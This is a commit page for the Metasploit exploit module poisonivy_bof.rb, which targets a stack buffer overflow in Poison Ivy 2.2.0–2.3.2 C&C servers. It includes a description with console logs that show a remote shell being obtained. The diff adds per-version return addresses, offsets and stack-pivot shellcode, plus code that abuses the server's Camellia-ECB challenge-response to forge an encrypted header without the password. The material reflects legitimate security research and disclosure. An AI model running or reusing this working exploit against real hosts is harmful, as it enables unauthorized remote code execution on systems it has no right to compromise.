This is a modification to the original poisonivy_bof.rb exploit
module removing the need for bruteforce in the case of an unknown server password by (ab)using the challenge-response as an encryption oracle, making it more reliable. The vulnerability has also been confirmed in versions 2.2.0 up to 2.3.1 and additional targets for these versions have been added as well. See http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/ for details. ## Console output Below is an example of the new functionality (PIVY C2 server password is set to 'prettysecure' and unknown to attacker). Exploitation of versions 2.3.0 and 2.3.1 is similar. ### Version 2.3.2 (unknown password) ``` msf > use windows/misc/poisonivy_bof msf exploit(poisonivy_bof) > set RHOST 192.168.0.103 RHOST => 192.168.0.103 msf exploit(poisonivy_bof) > check [*] Vulnerable Poison Ivy C&C version 2.3.1/2.3.2 detected. [*] 192.168.0.103:3460 - The target appears to be vulnerable. msf exploit(poisonivy_bof) > set PAYLOAD windows/shell_bind_tcp PAYLOAD => windows/shell_bind_tcp msf exploit(poisonivy_bof) > exploit [*] Started bind handler [*] Performing handshake... [*] Sending exploit... Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.3.2> ``` ### Version 2.2.0 (unknown password) ``` msf exploit(poisonivy_bof) > check [*] Vulnerable Poison Ivy C&C version 2.2.0 detected. [*] 192.168.0.103:3460 - The target appears to be vulnerable. msf exploit(poisonivy_bof) > show targets Exploit targets: Id Name -- ---- 0 Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1 1 Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1 2 Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1 msf exploit(poisonivy_bof) > set TARGET 0 TARGET => 0 msf exploit(poisonivy_bof) > exploit [*] Started bind handler [*] Performing handshake... [*] Sending exploit... Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Documents and Settings\winxp\Desktop\Poison Ivy\Poison Ivy 2.2.0> ```bug/bundler_fix
parent
d7887b59aa
commit
0a0e7ab4ba
|
@ -9,39 +9,29 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
Rank = NormalRanking
|
||||
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Exploit::Brute
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => "Poison Ivy Server Buffer Overflow",
|
||||
'Description' => %q{
|
||||
This module exploits a stack buffer overflow in Poison Ivy 2.3.2 C&C server.
|
||||
The exploit does not need to know the password chosen for the bot/server
|
||||
communication. If the C&C is configured with the default 'admin' password,
|
||||
the exploit should work fine. In case of the C&C configured with another
|
||||
password the exploit can fail. The 'check' command can be used to determine
|
||||
if the C&C target is using the default 'admin' password.
|
||||
|
||||
Hopefully an exploit try won't crash the Poison Ivy C&C process, just the thread
|
||||
responsible of handling the connection. Because of this the module provides the
|
||||
RANDHEADER option and a bruteforce target. If RANDHEADER is used a random header
|
||||
will be used. If the bruteforce target is selected, a random header will be sent in
|
||||
case the default for the password 'admin' doesn't work. Bruteforce will stop after
|
||||
5 tries or a session obtained.
|
||||
This module exploits a stack buffer overflow in the Poison Ivy 2.2.0 to 2.3.2 C&C server.
|
||||
The exploit does not need to know the password chosen for the bot/server communication.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Andrzej Dereszowski', # Vulnerability Discovery
|
||||
'Gal Badishi', # Exploit and Metasploit module
|
||||
'juan vazquez' # Testing and little of Metasploit-fu
|
||||
'juan vazquez', # Testing and little of Metasploit-fu
|
||||
'Jos Wetzels' # Added support for Poison Ivy 2.2.0 to 2.3.1, removed need for bruteforcing by (ab)using C&C challenge-response as encryption oracle
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'OSVDB', '83774' ],
|
||||
[ 'EDB', '19613' ],
|
||||
[ 'URL', 'http://www.signal11.eu/en/research/articles/targeted_2010.pdf' ],
|
||||
[ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ]
|
||||
[ 'URL', 'http://badishi.com/own-and-you-shall-be-owned' ],
|
||||
[ 'URL', 'http://samvartaka.github.io/malware/2015/09/07/poison-ivy-reliable-exploitation/' ],
|
||||
],
|
||||
'DisclosureDate' => "Jun 24 2012",
|
||||
'DefaultOptions' =>
|
||||
|
@ -58,107 +48,126 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Targets' =>
|
||||
[
|
||||
[
|
||||
'Poison Ivy 2.3.2 / Windows XP SP3 / Windows 7 SP1',
|
||||
'Poison Ivy 2.2.0 on Windows XP SP3 / Windows 7 SP1',
|
||||
{
|
||||
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
|
||||
'Ret' => 0x00425E5D, # jmp esp from "Poison Ivy 2.2.0.exe"
|
||||
'RWAddress' => 0x00401000,
|
||||
'Offset' => 0x8069,
|
||||
'PayloadOffset' => 0x75,
|
||||
'jmpPayload' => "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp
|
||||
}
|
||||
],
|
||||
|
||||
[
|
||||
'Poison Ivy 2.3.0 on Windows XP SP3 / Windows 7 SP1',
|
||||
{
|
||||
'Ret' => 0x00442749, # jmp esp from "Poison Ivy 2.3.0.exe"
|
||||
'RWAddress' => 0x00401000,
|
||||
'Offset' => 0x8069,
|
||||
'PayloadOffset' => 0x75,
|
||||
'jmpPayload' => "\x81\xec\xFC\x7F\x00\x00\xff\xe4" # sub esp,0x7FFC # jmp esp
|
||||
}
|
||||
],
|
||||
|
||||
[
|
||||
'Poison Ivy 2.3.1, 2.3.2 on Windows XP SP3 / Windows 7 SP1',
|
||||
{
|
||||
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.1.exe" and "Poison Ivy 2.3.2.exe"
|
||||
'RWAddress' => 0x00401000,
|
||||
'Offset' => 0x806D,
|
||||
'PayloadOffset' => 0x75,
|
||||
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4" # sub esp,0x8000 # jmp esp
|
||||
}
|
||||
],
|
||||
[
|
||||
'Poison Ivy 2.3.2 - Bruteforce / Windows XP SP3 / Windows 7 SP1',
|
||||
{
|
||||
'Ret' => 0x0041AA97, # jmp esp from "Poison Ivy 2.3.2.exe"
|
||||
'RWAddress' => 0x00401000,
|
||||
'Offset' => 0x806D,
|
||||
'PayloadOffset' => 0x75,
|
||||
'jmpPayload' => "\x81\xec\x00\x80\x00\x00\xff\xe4", # sub esp,0x8000 # jmp esp
|
||||
'Bruteforce' =>
|
||||
{
|
||||
'Start' => { 'Try' => 1 },
|
||||
'Stop' => { 'Try' => 6 },
|
||||
'Step' => 1,
|
||||
'Delay' => 2
|
||||
}
|
||||
}
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
'DefaultTarget' => 2
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(3460),
|
||||
OptBool.new('RANDHEADER', [true, 'Send random bytes as the header', false])
|
||||
], self.class)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptInt.new('BruteWait', [ false, "Delay between brute force attempts", 2 ]),
|
||||
], self.class)
|
||||
[
|
||||
Opt::RPORT(3460),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def check
|
||||
sig = "\x35\xe1\x06\x6c\xcd\x15\x87\x3e\xee\xf8\x51\x89\x66\xb7\x0f\x8b"
|
||||
lensig = [0x000015D0].pack("V")
|
||||
# camellia block size
|
||||
blockSize = 16
|
||||
# number of blocks in challenge
|
||||
blockCount = 16
|
||||
challenge = ("\x00" * blockSize * blockCount)
|
||||
|
||||
indicator = Hash.new
|
||||
# 0x0000113e as first 4 bytes on PI 2.1.0
|
||||
indicator[[0x0000113e].pack("V")] = '2.1.0'
|
||||
# 0x00001212 as first 4 bytes on PI 2.1.1
|
||||
indicator[[0x00001212].pack("V")] = '2.1.1'
|
||||
# 0x000013f6 as first 4 bytes on PI 2.1.2
|
||||
indicator[[0x000013f6].pack("V")] = '2.1.2'
|
||||
|
||||
# 0x000013e0 as 4 bytes after challenge on PI 2.2.0
|
||||
indicator[[0x000013e0].pack("V")] = '2.2.0'
|
||||
# 0x00001470 as 4 bytes after challenge on PI 2.3.0
|
||||
indicator[[0x00001470].pack("V")] = '2.3.0'
|
||||
# 0x000015D0 as 4 bytes after challenge on PI 2.3.1/2.3.2
|
||||
indicator[[0x000015D0].pack("V")] = '2.3.1/2.3.2'
|
||||
|
||||
connect
|
||||
sock.put("\x00" * 256)
|
||||
sock.put(challenge)
|
||||
response = sock.read(256)
|
||||
datalen = sock.read(4)
|
||||
disconnect
|
||||
|
||||
if datalen == lensig
|
||||
if response[0, 16] == sig
|
||||
vprint_status("Password appears to be \"admin\"")
|
||||
if response.length == 256
|
||||
response2 = sock.read(4)
|
||||
disconnect
|
||||
|
||||
# Poison Ivy >= 2.2.0 Challenge Response uses Camellia in ECB mode which means identical plaintext blocks
|
||||
# map to identical ciphertext blocks. A challenge composed of identical blocks will thus result in a response of identical blocks.
|
||||
firstBlock = response[0, 16]
|
||||
for index in 1..15
|
||||
if response[index * 16, 16] != firstBlock
|
||||
print_status("Response doesn't match Poison Ivy Challenge-Response format.")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
if indicator.key?(response2)
|
||||
indic = indicator[response2]
|
||||
print_status("Vulnerable Poison Ivy C&C version #{indic} detected.")
|
||||
return Exploit::CheckCode::Appears
|
||||
else
|
||||
vprint_status("Unknown password - Bruteforce target or RANDHEADER can be tried and exploit launched until success.")
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
elsif response.length == 4
|
||||
disconnect
|
||||
if indicator.key?(response)
|
||||
indic = indicator[response]
|
||||
print_status("Poison Ivy C&C version #{indic} detected.")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
vprint_status("Response doesn't match Poison Ivy Challenge-Response protocol.")
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
def single_exploit
|
||||
if datastore['RANDHEADER'] == true
|
||||
# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
|
||||
header = rand_text(0x20)
|
||||
else
|
||||
# This is the 32-byte header we want to send, encrypted with the default password ("admin")
|
||||
# We have a very good chance of succeeding even if the password was changed
|
||||
header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
|
||||
end
|
||||
do_exploit(header)
|
||||
end
|
||||
|
||||
def brute_exploit(brute_target)
|
||||
if brute_target['Try'] == 1
|
||||
print_status("Bruteforcing - Try #{brute_target['Try']}: Header for 'admin' password")
|
||||
# This is the 32-byte header we want to send, encrypted with the default password ("admin")
|
||||
# We have a very good chance of succeeding even if the password was changed
|
||||
header = "\xe7\x77\x44\x30\x9a\xe8\x4b\x79\xa6\x3f\x11\xcd\x58\xab\x0c\xdf\x2a\xcc\xea\x77\x6f\x8c\x27\x50\xda\x30\x76\x00\x5d\x15\xde\xb7"
|
||||
else
|
||||
print_status("Bruteforcing - Try #{brute_target['Try']}: Random Header")
|
||||
# Generate a random header - allows multiple invocations of the exploit if it fails because we don't know the password
|
||||
header = rand_text(0x20)
|
||||
end
|
||||
do_exploit(header)
|
||||
end
|
||||
|
||||
def do_exploit(header)
|
||||
def exploit
|
||||
# Handshake
|
||||
connect
|
||||
print_status("Performing handshake...")
|
||||
sock.put("\x00" * 256)
|
||||
sock.get_once(-1, 10)
|
||||
|
||||
# plaintext header
|
||||
plaintextHeader = "\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x01\x00\xbb\x00\x00\x00\xc2\x00\x00\x00\xc2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
|
||||
|
||||
# crafted challenge (first 32 bytes is our plaintext header), abuse challenge-response as encryption oracle
|
||||
challenge = plaintextHeader + ("\x00" * (256 - 32))
|
||||
sock.put(challenge)
|
||||
# response = encrypt(challenge, key)
|
||||
response = sock.get_once
|
||||
|
||||
# since encryption is done using Camellia in ECB mode, we can cut and paste the first 32 bytes (our header inside the crafted challenge) without knowing the key
|
||||
encryptedHeader = response[0, 32]
|
||||
|
||||
# Don't change the nulls, or it might not work
|
||||
xploit = ''
|
||||
xploit << header
|
||||
xploit << encryptedHeader
|
||||
xploit << "\x00" * (target['PayloadOffset'] - xploit.length)
|
||||
xploit << payload.encoded
|
||||
xploit << "\x00" * (target['Offset'] - xploit.length)
|
||||
|
|
Loading…
Reference in New Issue